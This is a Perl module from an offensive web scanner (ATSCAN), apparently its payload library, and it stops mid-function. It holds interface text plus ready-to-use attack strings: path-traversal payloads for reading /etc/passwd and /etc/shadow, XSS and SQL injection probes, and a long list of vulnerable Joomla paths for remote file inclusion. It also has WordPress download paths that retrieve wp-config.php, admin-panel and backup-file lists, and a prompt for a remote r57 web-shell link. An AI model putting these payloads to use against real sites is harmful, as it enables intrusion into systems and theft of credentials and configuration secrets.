package Exploits;

use strict;
use warnings;
use FindBin '$Bin';
use Exporter;

## Copy@right Alisam Technology see License.txt

my @ISA = qw(Exporter);
my @EXPORT_OK = qw(TT OTHERS AUTH ErrT DT TS ZT SCAN_TITLE E_MICROSOFT 
                   E_ORACLE E_DB2 E_ODBC E_POSTGRESQL E_SYBASE E_JBOSSWEB E_JDBC E_JAVA E_PHP E_ASP E_LUA E_UNDEFINED 
				   E_MARIADB E_SHELL V_WP V_JOOM V_TP V_SMF V_PhpBB V_VB V_MyBB V_CF V_DRP V_PN V_AT V_PHPN V_MD 
				   V_ACM V_SS V_MX V_XO V_OSC V_PSH V_BB2 V_MG V_ZC V_CC5 V_OCR V_XSS V_SQL V_LFI V_TODO V_AFD V_INPUT cms 
				   TODO nolisting get_motors V_EMAIL V_IP V_RANG V_SEARCH V_REGEX S_REGEX exploits);

########################################################################################################################
## INFO PANEL TEXT
sub TT {
  my @TT=("TEAM", "TOOL", "PATH", "PERL", "SYST", "ALISAM TECHNOLOGY", "ATSCAN SCANNER", "atscan [options] or [--help|-h|-?]", "<option> \/ Help: perl",
        "[--help|-h|-?]", "TIMEOUT", "Cannot get IP!", "Random", "No changes have been made!", "[!] Random not allowed when engines are defined!", "[!] Level not defined or not numeric!",
        "[!] You have to set a method: --get or --post!", "[!] You have to validate data post! ex: -v text or --status 200", "No response recieved!", "ifinurl", "is not an IP address!",
        "STATUS", "Host is", "Not Alive!", "Alive");
  return @TT;
}

########################################################################################################################
## OTHERS DIALOG TEXT
sub OTHERS {
  my @OTHERS=("Target", "Exp", "CMD", "MD5", "STRING", "Usage", "found!", "A scan is required! EX: --sql or validation EX: --status 200", "[!] Atscan Scanner will be removed from your system!", 
              "[i] ATSCAN was moved successfully", "You cannot use payloads here! Use --exp", "Disclaimer: Using ATSCAN to Attack targets without prior mutual consent is",
              "illegal! It is your own responsibility to obey laws! Alisam Technology is", "not linked to any kind of loss or misuse or damage caused by this program!", "REPLC",
              "[!] Type C to Continue or O to Exit!: ", "PARAM", "No parameter found!", "You cannot validate two times!", "METHOD", "Checking for updates..", "https://www.facebook.com/Alisam.Technology/",
              "https://github.com/AlisamTechnology/ATSCAN");
  return @OTHERS;
}
########################################################################################################################
## USER AUTH
sub AUTH {
  my @AUTH=("Login:", "Incorrect password!", "A password is already assigned! Do you want to remove it ? [y/n]:", "Password successfully removed!",
          "You will set an user password and will be required for each use!", "Enter password or press Cotrol+C to cancel", "Password successfully generated!", "No password have been set!",
          "Password must have at least 3 caracters!", "Tool will restart in", "THIS IS YOUR CONFIGURATION:", "No configuation found!", "Invalid option!", "is already configured use reset command first!",
          "Couldn't interpret your command!", "No configuation file found!", "Set your setting or type \"help\" for help", "Choose a mode or \"usage\" for usage \"options\" for options \"help\" for help",
          "Choose a module or type \"usage\" for usage", "Set arguments or type \"usage\" for usage", "How to use arguments? type \"help\" for help!",
          "Opss.. Nothing to run", "[!] [VAL* yes] = This argument Require a value", "Value preconfigured in user configuration", "This option is for intalled tool only",
          "must have \"on\" like value!");
  return @AUTH;
}
########################################################################################################################
## ERRORS DIALOG TEXT
sub ErrT {
  my @ErrT=("LFI:", "MYSQL:", "AFD:", "Microsoft:", "Oracle:", "DB2:", "ODBC:", "POSTGRESQL:", "SYBASE:", "BOSSWEB:", "JDBC:", "Java Infinitydb:", "PHP:", "ASP:", "LUA:", "UNDEFINED:", "Mariadb:",
          "Possible Shell:", "ERRORS ", "Permissions\! Failed to write in", "Checking proxy connection via", "INFO:", "New Identity IP",
          "Traying again my solve problem or set timeout --time <time in s>", "Possible errors detected!");
  return @ErrT;
}
########################################################################################################################
## GENERAL DIALOG TEXT
sub DT {
  my @DT=("Target\(s\) Found", "No Results Found\!", "Error\! Not a Valid Target\!", "SCAN FINISHED\!", "Unique Result\(s\) Found\!", "No Target list found\!", "[i] The tool is up to date!",
          "Tool updeted with success\!", "Couldn't auto check for updates!", "Exploit\(s\)", "Check Ymy Connection or Proxy Setting\!", "Ymy Internet connection seems not active\!",
          "Dorks\(s\)", "Results saved in", "Uppss.. Cannot process scan\!", "Possible solutions:", "Target must have protocol [http[s]://] OR file does not exist!", "Given target file path is not true.",
          "Please change list extension to [.txt]!", "You have to set a scan for exploited targets\![sql\|lfi\|...]", "You have to set level [Ex: --level 1]\!",
          "Invalid option\! --ifinurl or --unique needs dork search\!", "Invalid option\! [Ex: --replace \"string => new_string\" or --replaceFROM \"string => new_string\"]", "Invalid option\! Ex: t- <ip> --port 80 [--udp | --tcp]",
          "COMMND", "Invalid options\!", "Min level is 1 [--level >=1]", "[!] Engines: [bing google ask yandex sogou exalead googleapis googlecache all]",
          "Tool uses default exploits & validation\! You can use your owns!\n  Ex: --exp [exploit] and [validation opt][strings]", "Some thing wrong!",
          "Failed to renew identity with", "Please wait...", "POST", "is an IP [Use\!: -t <ip> --level 1 <opcion>]", "Limit defined by user reached",
          "Undefined", "Redirect To: ", "Proxy(s)", "Random engine just when using engine!", "Do you want to update tool?", "You have to set number of results pages. Ex: --level 2",
          "You have to set shell link! [Ex: http://www.site.co.uk/r57.txt]", "Conflict!! Please change", "file ext to [.txt]!", "found!");
  return @DT;
}    
########################################################################################################################
## SCAN DIALOG TEXT
sub DS {
  my @DS=("DORK", "INFO", "SERVER", "HTTP", "SCAN", "PAYLD", "EXPLOIT", "PORT", "TYPE", "TARGET", "IP", "PROXY", "VALID", "HTTP/1.1", "EXPLOIT", "GET", "EXTRA", "SHELL", "LEVEL", "OUTPUT",
        "EXT CMD", "TASK", "BING", "GOOGLE", "ASK [com]", "YANDEX [com]", "SOGOU [com]", "BING GOOGLE ASK YANDEX DOGOU", "DEFAULT BING", "ENGINE", "Unique Results", "Ifinurl", "URL REGEX",
        "Validate URL", "Server Sites", "WP sites", "JOOM sites", "Subdomains", "No extra info", "Beep Sound", "Remove Query", "Regex", "Open", "Closed", "Random Proxy", "Tor Proxy", "No Proxy",
        "Range", "Replace", "Vul Param:", "Upload", "External Command", "Update Version", "E-mails", "Encode Base64", "Decode Base64", "Get host", "Pause Mode", "ADMIN", "PORTS", "SQL",
        "LFI", "RFI", "AFD", "TCP", "UDP", "ZIP", "STARTING", "Md5", "Proxy");
  return @DS;
}    
########################################################################################################################
## SCAN TITLES
sub SCAN_TITLE {
  my @SCAN_TITLE=("SEARCH ENGINE", "VALIDATION", "Validate by HTTP header is not allowed here!\n", "WORDPRESS SITES", "JOOMLA SITES", "SQL", "LOCAL FILE INCLUSION", "JOOMLA REMOTE FILE INCLUSION",
                "WORDPRESS ARBITRARY FILE DOWNLOAD", "ADMIN PAGE", "SUBDOMAINS", "UPLOAD FILES", "ZIP FILES", "E-MAILS", "WORDPRESS BRUTE FORCE", "JOOMLA BRUTE FORCE", "EXTERN COMMAND SUBPROCESS",
                "MD5 GENERATOR", "ENCODE BASE64", "DECODE BASE64", "PORTS PING", "IP", "USER REGEX", "AGENT", "FILTER", "REGEX");
  return @SCAN_TITLE;
}    
########################################################################################################################
## INSTALL / UNINSTALL / UPDATE
sub ZT {
  my @ZT=("Copying user components...", "Placing main script...", "Placing components...", "Placing README.md", "Checking others components...", "Moving", "Restauring user files...",
        "Deleting install files...", "Deleting", "Printing update log...", "DATA", "STATUS", "EXCLUDE", "normal", "advanced", "mode", "options", "module", "Module", 
        "HELP", "help", "DESCRIPTION", "Usage", "Fail to upload target!", "Your new identity:", "ZONE-H", "popup argument can only be used with --command argument!", 
        "Usage --replace or --replaceFROM", "You cannot use more than 1 wordlist in data command!", "You cannot use more than 1 wordlist!", "Cannot whrite in",
        "Use --repair command to repair tool if you are getting problems!", "Are you sure to continue with uninsall process? [y/N]:");
  return @ZT;
}    
########################################################################################################################
## LFI
sub LFI {
  my @LFIargs=("passwd.txt", "etc/passwd", "proc/self/environ", "etc/shadow", "etc/group", "etc/security/passwd", "etc/security/group");
  my (@LFI1, @LFI2, @LFI);
  for my $LFIargs(@LFIargs) {
    my $arg="/$LFIargs"; push @LFI1, $arg;
    my $arg1="/$arg"; push @LFI1, $arg1;
    my $arg2=$arg."%00"; push @LFI1, $arg2;
    my $arg3=$arg1."%00"; push @LFI1, $arg3;
    my $arg4="repeat(../-5)$LFIargs"; push @LFI1, $arg4;
    my $arg5=$arg4."%00"; push @LFI1, $arg5;
    my $arg6="repeat(....//-5)$LFIargs"; push @LFI1, $arg6;
    my $arg7=$arg6."%00"; push @LFI1, $arg7;
    push @LFI, @LFI1;
    for my $LFI1(@LFI1) { $LFI1=~s/\//%2F/ig; push @LFI, $LFI1; }
  }	
  return @LFI;
}

########################################################################################################################
## XSS
sub XSS {
  my @XSS=("'><script>alert('XSS Error')</script>", "<scr<script>ipt>alert(/XSS Error/)</scr</script>ipt>", "%253script%253ealert(/XSS Error/)%253c/script%253e",
      "\">head<script>alert('XSS Error')</script>head\">", "%22%3Ehead%3Cscript%3Ealert(%27XSS%20Error%27)%3C%2Fscript%3Ehead%22%3E%22%00", "<IMG onmouseover=\"alert('XSS Error')\">",
      "\";alert('XSS Error');//", "</script><script>alert('XSS Error');</script>", "<INPUT TYPE=\"IMAGE\" SRC=\"javascript:alert('XSS Error');\">",
      "<BODY BACKGROUND=\"javascript:alert('XSS Error')\">", "<BODY ONLOAD=alert('XSS Error')>");
  return @XSS;
}

########################################################################################################################
## SQL
sub SQL {
  my @SQL=("%27", "' AND 5028=5028 AND MySQL_Error=MySQL_Error");
  return @SQL;
}

########################################################################################################################
## RFI
sub RFI {
  my @RFI;
  my @RFIargs=("/JMc/com_flyspray/startdown.php?file=", "/JMa/JMc/com_admin/admin.admin.html.php?PP1", "/JMc/com_simpleboard/file_upload.php?PP5", "/JMc/com_hashcash/server.php?PP1",
             "/JMc/com_htmlarea3_xtd-c/popups/ImageManager/config.inc.php?PP1", "/JMc/com_sitemap/sitemap.xml.php?PP1", "/JMc/com_performs/performs.php?PP1",
             "/JMc/com_forum/download.php?phpbb_root_path=", "/JMc/com_pccookbook/pccookbook.php?PP1", "/JMc/com_extcalendar/extcalendar.php?PP1", "/JMc/minibb/index.php?PP3",
             "/JMc/com_smf/smf.php?PP1", "/modules/mod_calendar.php?PP3", "/JMc/com_pollxt/conf.pollxt.php?PP1", "/JMc/com_loudmounth/includes/abbc/abbc.class.php?PP1",
             "/JMc/com_videodb/core/videodb.class.xml.php?PP1", "/JMc/com_pcchess/include.pcchess.php?PP1", "/JMa/JMc/com_multibanners/extadminmenus.class.php?PP1",
             "/JMa/JMc/com_a6mambohelpdesk/admin.a6mambohelpdesk.php?PP4", "/JMa/JMc/com_colophon/admin.colophon.php?PP1", "/JMa/JMc/com_mgm/help.mgm.php?PP1",
             "/JMc/com_mambatstaff/mambatstaff.php?PP1", "/JMc/com_securityimages/configinsert.php?PP1", "/JMc/com_securityimages/lang.php?PP1", "/JMc/com_artlinks/artlinks.dispnew.php?PP1",
             "/JMc/com_galleria/galleria.html.php?PP1", "/akocomments.php?PP1", "/JMa/JMc/com_cropimage/admin.cropcanvas.php?cropimagedir=", "/JMa/JMc/com_kochsuite/config.kochsuite.php?PP1",
             "/JMa/JMc/com_comprofiler/plugin.class.php?PP1", "/JMc/com_zoom/classes/fs_unix.php?PP1", "/JMc/com_zoom/includes/database.php?PP1",
             "/JMa/JMc/com_serverstat/install.serverstat.php?PP1",
             "/JMc/com_fm/fm.install.php?lm_absolute_path=", "/JMa/JMc/com_mambelfish/mambelfish.class.php?PP1", "/JMc/com_lmo/lmo.php?PP1",
             "/JMa/JMc/com_webring/admin.webring.docs.php?component_dir=", "/JMa/JMc/com_remository/admin.remository.php?PP1", "/JMa/JMc/com_babackup/classes/Tar.php?PP1",
             "/JMa/JMc/com_lurm_constructor/admin.lurm_constructor.php?lm_absolute_path=", "/JMc/com_mambowiki/MamboLogin.php?IP=", "/JMa/JMc/com_a6mambocredits/admin.a6mambocredits.php?PP4",
             "/JMa/JMc/com_phpshop/toolbar.phpshop.html.php?PP1", "/JMc/com_cpg/cpg.php?PP1", "/JMc/com_moodle/moodle.php?PP1", "/JMc/com_extended_registration/registration_detailed.inc.php?PP1",
             "/JMc/com_mospray/scripts/admin.php?basedir=", "/JMa/JMc/com_uhp/uhp_config.php?PP1", "/JMa/JMc/com_peoplebook/param.peoplebook.php?PP1", "/JMa/JMc/com_mmp/help.mmp.php?PP1",
             "/JMc/com_reporter/processor/reporter.sql.php?PP1", "/JMc/com_madeira/img.php?url=", "/JMc/com_bsq_sitestats/external/rssfeed.php?PP6", "/com_bsq_sitestats/external/rssfeed.php?PP6",
             "/com_joomla_flash_uploader/install.joomla_flash_uploader.php?PP1", "/com_joomla_flash_uploader/uninstall.joomla_flash_uploader.php?PP1", "/JMa/JMc/admin.jjgallery.php?PP1",
             "/JMc/com_jreviews/scripts/xajax.inc.php?PP1", "/com_directory/modules/mod_pxt_latest.php?PP2", "/JMa/JMc/com_chronocontact/excelwriter/PPS/File.php?PP1",
             "/JMa/JMc/com_chronocontact/excelwriter/Writer.php?PP1", "/JMa/JMc/com_chronocontact/excelwriter/PPS.php?PP1", "/JMa/JMc/com_chronocontact/excelwriter/Writer/BIFFwriter.php?PP1",
             "/JMa/JMc/com_chronocontact/excelwriter/Writer/Workbook.php?PP1", "/JMa/JMc/com_chronocontact/excelwriter/Writer/Worksheet.php?PP1",
             "/JMa/JMc/com_chronocontact/excelwriter/Writer/Format.php?PP1", "/index.php?option=com_custompages&cpage=", "/component/com_onlineflashquiz/quiz/common/db_config.inc.php?base_dir=",
             "/JMa/JMc/com_joomla-visites/core/include/myMailer.class.php?PP1", "/JMc/com_facileforms/facileforms.frame.php?ff_compath=", "/JMa/JMc/com_rssreader/admin.rssreader.php?PP4",
             "/JMa/JMc/com_feederator/includes/tmsp/add_tmsp.php?PP1", "/JMa/JMc/com_feederator/includes/tmsp/edit_tmsp.php?PP1", "/JMa/JMc/com_feederator/includes/tmsp/subscription.php?PP2",
             "/JMa/JMc/com_feederator/includes/tmsp/tmsp.php?PP1", "/JMa/JMc/com_clickheat/install.clickheat.php?PP2", "/JMa/JMc/com_clickheat/includes/heatmap/_main.php?PP1",
             "/JMa/JMc/com_clickheat/includes/heatmap/main.php?PP1", "/JMa/JMc/com_clickheat/includes/overview/main.php?PP1", "/JMa/JMc/com_clickheat/Recly/Clickheat/Cache.php?PP2",
             "/JMa/JMc/com_clickheat/Recly/Clickheat/Clickheat_Heatmap.php?PP2", "/JMa/JMc/com_clickheat/Recly/common/GlobalVariables.php?PP2",
             "/JMa/JMc/com_competitions/includes/competitions/add.php?PP2", "/JMa/JMc/com_competitions/includes/competitions/competitions.php?PP2",
             "/JMa/JMc/com_competitions/includes/settings/settings.php?PP1", "/JMa/JMc/com_dadamail/config.dadamail.php?GLOBALS['mosConfig_absolute_path']=",
             "/JMa/JMc/com_googlebase/admin.googlebase.php?PP1", "/JMa/JMc/com_ongumatimesheet20/lib/onguma.class.php?PP1", "/JMa/JMc/com_treeg/admin.treeg.php?PP4",
             "/JMa/JMc/com_bayesiannaivefilter/lang.php?PP1", "/JMc/com_jd-wiki/lib/tpl/default/main.php?PP1", "/JMa/JMc/com_jim/install.jim.php?PP1",
             "/JMc/com_mtree/Savant2/Savant2_Plugin_textarea.php?PP1", "/JMc/com_artlinks/artlinks.dispnew.php?PP1", "/JMa/JMc/com_linkdirectory/toolbar.linkdirectory.html.php?PP1",
             "/JMa/JMc/com_kochsuite/config.kochsuite.php?PP1", "/JMc/com_reporter/reporter.logic.php?PP1", "/JMa/JMc/com_swmenupro/ImageManager/Classes/ImageManager.php?PP1",
             "/JMc/com_swmenupro/ImageManager/Classes/ImageManager.php?PP1", "/JMc/com_joomlaboard/file_upload.php?PP5", "/JMc/com_thopper/inc/contact_type.php?PP1",
             "/JMc/com_thopper/inc/itemstatus_type.php?PP1", "/JMc/com_thopper/inc/projectstatus_type.php?PP1", "/JMc/com_thopper/inc/request_type.php?PP1",
             "/JMc/com_thopper/inc/responses_type.php?PP1", "/JMc/com_thopper/inc/timelog_type.php?PP1", "/JMc/com_thopper/inc/urgency_type.php?PP1", "/JMc/com_mosmedia/media.tab.php?PP1",
             "/JMc/com_mosmedia/media.divs.php?PP1", "/modules/mod_as_category/mod_as_category.php?PP1", "/modules/mod_as_category.php?PP1", "/JMc/com_articles.php?PP3",
             "/classes/html/com_articles.php?PP3", "/JMa/JMc/com_jpack/includes/CAltInstaller.php?PP1", "/templates/be2004-2/index.php?PP1", "/libraries/pcl/pcltar.php?g_pcltar_lib_dir=",
             "/JMa/JMc/com_joomlaradiov5/admin.joomlaradiov5.php?PP4", "/JMa/JMc/com_joomlaflashfun/admin.joomlaflashfun.php?PP4", "/JMa/JMc/com_joom12pic/admin.joom12pic.php?PP4",
             "/JMc/com_slideshow/admin.slideshow1.php?PP4", "/JMa/JMc/com_panoramic/admin.panoramic.php?PP4", "/JMa/JMc/com_wmtgallery/admin.wmtgallery.php?PP4",
             "/JMa/JMc/com_wmtportfolio/admin.wmtportfolio.php?PP1", "/JMa/JMc/com_mosmedia/includes/credits.html.php?PP1", "/JMa/JMc/com_mosmedia/includes/info.html.php?PP1",
             "/JMa/JMc/com_mosmedia/includes/media.divs.php?PP1", "/JMa/JMc/com_mosmedia/includes/media.divs.js.php?PP1", "/JMa/JMc/com_mosmedia/includes/purchase.html.php?PP1",
             "/JMa/JMc/com_mosmedia/includes/support.html.php?PP1", "/JMc/com_mp3_allopass/allopass.php?PP4", "/JMc/com_mp3_allopass/allopass-error.php?PP4",
             "/JMa/JMc/com_jcs/jcs.function.php?PP1", "/JMa/JMc/com_jcs/view/add.php?PP1", "/JMa/JMc/com_jcs/view/history.php?PP1", "/JMa/JMc/com_jcs/view/register.php?PP1",
             "/JMa/JMc/com_jcs/views/list.sub.html.php?PP1", "/JMa/JMc/com_jcs/views/list.user.sub.html.php?PP1", "/JMa/JMc/com_jcs/views/reports.html.php?mosConfig_absolte_path=",
             "/JMa/JMc/com_joomla_flash_uploader/install.joomla_flash_uploader.php?PP1", "/JMa/JMc/com_joomla_flash_uploader/uninstall.joomla_flash_uploader.php?PP1",
             "/JMa/JMc/com_color/admin.color.php?PP4", "/JMa/JMc/com_jjgallery/admin.jjgallery.php?PP1", "/JMa/JMc/com_juser/xajax_functions.php?PP1",
             "/index.php?option=com_sef&Itemid=&mosConfig.absolute.path=", "/index.php?option=com_adsmanager&PP1", "/com_ponygallery/admin.ponygallery.html.php?PP1",
             "/com_magazine_3_0_1/magazine.functions.php?config=", "/JMa/JMc/com_joomla-visites/core/include/myMailer.class.php?PP1", "/JMa/JMc/com_universal/includes/config/config.html.php?PP1",
             "/modules/mod_pxt_latest.php?PP2");

  for my $RFIargs(@RFIargs) {
    $RFIargs=~s/JMa/administrator/ig;
    $RFIargs=~s/JMc/components/ig;
    if ($RFIargs=~/PP1/) { $RFIargs=~s/PP1/mosConfig_absolute_path=/ig; }
    elsif ($RFIargs=~/PP2/) { $RFIargs=~s/PP2/GLOBALS[mosConfig_absolute_path]=/ig; }
    elsif ($RFIargs=~/PP3/) { $RFIargs=~s/PP3/absolute_path=/ig; }
    elsif ($RFIargs=~/PP4/) { $RFIargs=~s/PP4/mosConfig_live_site=/ig; }
    elsif ($RFIargs=~/PP5/) { $RFIargs=~s/PP5/sbp=/ig; }
    elsif ($RFIargs=~/PP6/) { $RFIargs=~s/PP6/baseDir=/ig; }
    push @RFI, $RFIargs;
  }
  return @RFI;
}

########################################################################################################################
#ADF WP WORDPRESS
sub ADFWP {
  my @ADFWP;
  my @ADFWPargs=("/wp-admin/admin-ajax.php?action=revslider_show_image&img=WP1", "WPATHT/ypo-theme/download.php?download=WP1", "/wp-content/force-DWF=WP1",
               "WPATHP/hb-audio-gallery-lite/gallery/audio-DWF_path=WP1", "WPATHT/acento/includes/view-pdf.php?download=1&file=/path/WP1", "WPATHT/SMWF/inc/DWF=WP1", "WPATHT/markant/DWF=WP1",
               "WPATHT/yakimabait/DWF=WP1", "WPATHT/TheLoft/DWF=WP1", "WPATHT/felis/DWF=WP1", "WPATHT/MichaelCanthony/DWF=WP1", "WPATHT/trinity/lib/scripts/DWF=WP1", "WPATHT/epic/includes/DWF=WP1",
               "WPATHT/urbancity/lib/scripts/DWF=WP1", "WPATHT/antioch/lib/scripts/DWF=WP1", "WPATHT/authentic/includes/DWF=WP1", "WPATHT/churchope/lib/downloadlink.php?file=WP1",
               "WPATHT/lote27/download.php?download=WP1", "WPATHT/linenity/functions/download.php?imgurl=WP1", "WPATHP/ajax-store-locator-wordpress_0/sl_file_download.php?download_file=WP1",
               "WPATHP/justified-image-grid/DWF=file:///C:/wamp/www/wp-config.php", "WPATHP/justified-image-grid/DWF=file:///C:/xampp/htdocs/WP1", "WPATHP/justified-image-grid/DWF=file:///var/www/WP1",
               "WPATHP/aspose-doc-exporter/aspose_doc_exporter_DWF=WP1", "WPATHP/aspose-cloud-ebook-generator/aspose_posts_exporter_DWF=WP1");
  for my $ADFWPargs(@ADFWPargs) {
    $ADFWPargs=~s/DWF/download.php?file/ig;
    $ADFWPargs=~s/WPATHT/\/wp-content\/themes/ig;
    $ADFWPargs=~s/WPATHP/\/wp-content\/plugins/ig;
    if ($ADFWPargs=~/WP1/) {
      $ADFWPargs=~s/WP1/wp-config.php/ig; push @ADFWP, $ADFWPargs;
      $ADFWPargs=~s/wp-config.php/repeat(..\/-5)wp-config.php/ig; 
	  my @ADFWPargs = Subs::repeat($ADFWPargs);
	  push @ADFWP, @ADFWPargs;
	}
    else{ push @ADFWP, $ADFWPargs; }
  }
  return @ADFWP;
}

########################################################################################################################
## ADMIN PAGE
sub ADMIN {
  my @ADMIN;
  my @ADMINARGS=("/admin/", "/admin/login.MYEXT", "/myadmin/", "/acceso/", "/administrator/", "/admin1/", "/admin2/", "/wp-admin/login.MYEXT", "/administrator/index.MYEXT", "/admin3/", "/admin4/",
               "/admin5/", "/usuarios/", "/usuario/", "/administrador/", "/administrateur/", "/administrator/", "/moderator/", "/webadmin/", "/adminarea/", "/bb-admin/", "/adminLogin/",
               "/admin_area/", "/panel-administracion/", "/instadmin/", "/memberadmin/", "/administratorlogin/", "/adm/", "/wp-login.MYEXT", "/admin/account.MYEXT", "/admin/index.MYEXT",
               "/admin/admin.MYEXT", "/admin_area/admin.MYEXT", "/admin_area/login.MYEXT", "/siteadmin/login.MYEXT", "/siteadmin/index.MYEXT", "/admin_area/index.MYEXT", "/bb-admin/index.MYEXT",
               "/bb-admin/login.MYEXT", "/bb-admin/admin.MYEXT", "/admin/home.MYEXT", "/admin/controlpanel.MYEXT", "/admin.MYEXT", "/admincp/index.MYEXT", "/admincp/login.MYEXT", "/administracion/",
               "/adminpanel.MYEXT", "/webadmin.MYEXT", "/webadmin/index.MYEXT", "/webadmin/admin.MYEXT", "/webadmin/login.MYEXT", "/admin/admin_login.MYEXT", "/admin_login.MYEXT",
               "/panel-administracion/login.MYEXT", "/admin/cp.MYEXT", "/cp.MYEXT", "/administrator/login.MYEXT", "/nsw/admin/login.MYEXT", "/administrator/account.MYEXT", "/administrator.MYEXT",
               "/pages/admin/admin-login.MYEXT", "/admin/admin-login.MYEXT", "/admin-login.MYEXT", "/acceso.MYEXT", "/login.MYEXT", "/modelsearch/login.MYEXT", "/moderator.MYEXT",
               "/moderator/login.MYEXT", "/moderator/admin.MYEXT", "/account.MYEXT", "/controlpanel.MYEXT", "/admincontrol.MYEXT", "/admin/adminLogin.MYEXT", "/adminLogin.MYEXT", "/home.MYEXT",
               "/rcjakar/admin/login.MYEXT", "/adminarea/index.MYEXT", "/adminarea/admin.MYEXT", "/cp.MYEXT", "/user.MYEXT", "/adminarea/login.MYEXT", "/panel-administracion/index.MYEXT",
               "/panel-administracion/admin.MYEXT", "/modelsearch/index.MYEXT", "/modelsearch/admin.MYEXT", "/admincontrol/login.MYEXT", "/adm/index.MYEXT", "/adm.MYEXT", "/account.MYEXT",
               "/adm/admloginuser.MYEXT", "/admloginuser.MYEXT", "/admin2.MYEXT", "/admin2/login.MYEXT", "/admin2/index.MYEXT", "/usuarios/login.MYEXT", "/users/login.MYEXT", "/adm.MYEXT",
               "/affiliate.MYEXT", "/adm_auth.MYEXT", "/memberadmin.MYEXT", "/administratorlogin.MYEXT");

  for my $ADMINARGS(@ADMINARGS) {
    if ($ADMINARGS=~/MYEXT/) {
      $ADMINARGS=~s/MYEXT/php/ig; push @ADMIN, $ADMINARGS;
      $ADMINARGS=~s/php/html/ig; push @ADMIN, $ADMINARGS;
      $ADMINARGS=~s/html/asp/ig; push @ADMIN, $ADMINARGS;
    }else{ push @ADMIN, $ADMINARGS; } 
  }
  return @ADMIN;
}

########################################################################################################################
## SUBDOMAINS
sub SUBDOMAIN {
  my @SUBDOMAIN=("about.", "webmail.", "abose.", "acme.", "ad.", "admanager.", "admin.", "admins.", "administrador.", "administrateur.", "administrator.", "ads.", "adsense.", "adult.", "adwords.",
            "affiliate.", "affiliatepage.", "afp.", "analytics.", "android.", "shop.", "echop.", "blog.", "tienda.", "answer.", "ap.", "api.", "apis.", "app.", "bank.", "blogs.", "client.",
            "clients.", "community.", "content.", "cpanel.", "dashbord.", "data.", "developer.", "developers.", "dl.", "docs.", "documents.", "download.", "downloads.", "encrypted.",
            "es.", "it.", "en.", "fr.", "ar.", "legal.", "iphone.", "lab.", "labs.", "list.", "lists.", "log.", "logs.", "errors.", "net.", "mysql.", "mysqldomain.", "net.", "network.", "news.",
            "ns.", "ns1.", "ns2.", "ns3.", "ns4.", "ns5.", "org.", "panel.", "partner.", "partners.", "pop.", "pop3.", "private.", "proxies.", "public.", "reports.", "root.", "rss.", "prod.",
            "prods.", "sandbox.", "search.", "server.", "servers.", "signin.", "signup.", "login.", "smtp.", "srntp.", "ssl.", "soap.", "stat.", "statics.", "store.", "status.", "survey.", "sync.",
            "system.", "text.", "test.", "webadmin.", "webdisk.", "xhtml.", "xhtrnl.", "xml.");
  return @SUBDOMAIN;
}

########################################################################################################################
## UPLOAD FILES
sub UPLOAD {
  my @UPLOAD=("/up.php", "/up1.php", "/up/up.php", "/site/up.php", "/vb/up.php", "/forum/up.php", "/blog/up.php", "/upload.php", "/upload1.php", "/upload2.php", "/vb/upload.php",
              "/forum/upload.php", "/blog/upload.php", "/site/upload.php", "/download.php"
			 );
  return @UPLOAD;
}

########################################################################################################################
## ZIP FILES
sub ZIP {
  my @ZIP=("/backup.tar.gz", "/backup/backup.tar.gz", "/backup/backup.zip", "/vb/backup.zip", "/site/backup.zip", "/backup.zip", "/backup.rar", "/backup.sql", "/vb/vb.zip", "/vb.zip", "/vb.sql",
           "/vb.rar", "/vb1.zip", "/vb2.zip", "/vbb.zip", "/vb3.zip", "/upload.zip", "/up/upload.zip", "/joomla.zip", "/joomla.rar", "/joomla.sql", "/wordpress.zip", "/wp/wordpress.zip",
           "/blog/wordpress.zip", "/wordpress.rar"
		   );
  return @ZIP;
}
########################################################################################################################
## ERRORS
sub E_MICROSOFT { 
  my @E_MICROSOFT = ("Microsoft JET Database", "ADODB.Recordset", "500 - Internal server error", "Microsoft OLE DB Provider", "Unclosed quotes", "ADODB.Command", "ADODB.Field error", "Microsoft VBScript",
                 "Microsoft OLE DB Provider for SQL Server", "Unclosed quotation mark", "Microsoft OLE DB Provider for Oracle", "Active Server Pages error", "OLE/DB provider returned message",
                 "OLE DB Provider for ODBC", "error \"800a0d5d\"", "error \"800a000d\"", "Unclosed quotation mark after the character string", "SQL Server", "Warning: odbc_");
  return @E_MICROSOFT;
}

sub E_ORACLE { 
  my @E_ORACLE = ("ORA-00921: unexpected end of SQL command", "ORA-01756", "ORA-", "Oracle ODBC", "Oracle Error", "Oracle Driver", "Oracle DB2", "error ORA-", "SQL command not properly ended");
  return @E_ORACLE;
}

sub E_DB2 { 
  my @E_DB2 = ("DB2 ODBC", "DB2 error", "DB2 Driver");
  return @E_DB2;
}

sub E_ODBC { 
  my @E_ODBC = ("ODBC SQL", "ODBC DB2", "ODBC Driver", "ODBC Error", "ODBC Microsoft Access", "ODBC Oracle", "ODBC Microsoft Access Driver");
  return @E_ODBC;
}

sub E_POSTGRESQL { 
  my @E_POSTGRESQL = ("Warning: pg_", "PostgreSql Error:", "function.pg", "Supplied argument is not a valid PostgreSQL result", "PostgreSQL query failed: ERROR: parser: parse error", ": pg_");
  return @E_POSTGRESQL;
}

sub E_SYBASE { 
  my @E_SYBASE = ("Warning: sybase_", "function.sybase", "Sybase result index", "Sybase Error:", "Sybase: Server message:", "sybase_", "ODBC Driver");
  return @E_SYBASE;
}

sub E_JBOSSWEB { 
  my @E_JBOSSWEB = ("java.sql.SQLSyntaxErrorException: ORA-", "org.springframework.jdbc.BadSqlGrammarException:", "javax.servlet.ServletException:", "java.lang.NullPointerException");
  return @E_JBOSSWEB;
}

sub E_JDBC { 
  my @E_JDBC = ("Error Executing Database Query", "SQLServer JDBC Driver", "JDBC SQL", "JDBC Oracle", "JDBC MySQL", "JDBC error", "JDBC Driver");
  return @E_JDBC;
}

sub E_JAVA { 
  my @E_JAVA = ("java.io.IOException: InfinityDB");
  return @E_JAVA;
}

sub E_PHP { 
  my @E_PHP = ("Warning: include", "Fatal error: include", "Warning: require", "Fatal error: require", "ADODB_Exception", "Warning: include", "Warning: require_once", "function.include",
           "Disallowed Parent Path", "function.require", "Warning: main", "Warning: session_start\(\)", "Warning: getimagesize\(\)", "Warning: merge\(\)", "Warning: preg_match\(\)",
           "GetArray\(\)", "FetchRow\(\)", "Warning: preg_", "Warning: ociexecute\(\)", "Warning: ocifetchstatement\(\)", "PHP Warning:");
  return @E_PHP;
}

sub E_ASP { 
  my @E_ASP = ("Version Information: Microsoft .NET Framework", "Server.Execute Error", "ASP.NET_SessionId", "ASP.NET is configured to show verbose error messages", "BOF or EOF",
               "Unclosed quotation mark", "Error converting data type varchar to numeric");
  return @E_ASP;
